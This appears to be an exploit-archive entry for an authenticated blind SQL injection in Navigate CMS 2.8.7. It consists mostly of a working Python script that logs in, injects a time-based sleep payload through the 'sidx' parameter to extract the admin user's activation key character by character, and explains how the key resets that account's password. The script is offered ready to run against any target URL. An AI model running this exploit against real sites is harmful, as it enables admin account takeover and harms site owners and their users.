Navigate CMS 2.8.7 SQL Injection

2020.06.05
Credit: Gus Ralph
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated) # Date: 2020-06-04 # Exploit Author: Gus Ralph # Vendor Homepage: https://www.navigatecms.com/en/home # Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download # Version: 2.8.7 # Tested on: Ubuntu # CVE: N/A # This script will leak the "activation_key" value for the user who's ID is set to 1 in the database. # The activation key can be used to reset that user's password to whatever you want, bypassing the need to crack a hash. # An example password reset URL would be: `/login.php?action=password-reset&value=[ACTIVATION CODE LEAKED FROM DB]` import requests, time, string user = raw_input("Please enter your username: \n") password = raw_input("Please enter your password: \n") URL = raw_input("Enter the target URL (in this format 'http://domain.com/navigate/'): \n") s = requests.Session() data = {'login-username': (None, user), 'login-password':(None, password)} s.post(url = URL + "login.php", files = data) dictionary = string.ascii_lowercase + string.ascii_uppercase + string.digits final = "" while True: for x in dictionary: payload = '(SELECT (CASE WHEN EXISTS(SELECT password FROM nv_users WHERE activation_key REGEXP BINARY "^' + str(final) + x + '.*" AND id = 1) THEN (SELECT sleep(5)) ELSE date_created END)); -- -' r = s.post(url = URL + "/navigate.php?fid=comments&act=1&rows=1&sidx=" + payload) if int(r.elapsed.total_seconds()) > 4: final += x print "Leaking contents of admin hash: " + final break else: pass


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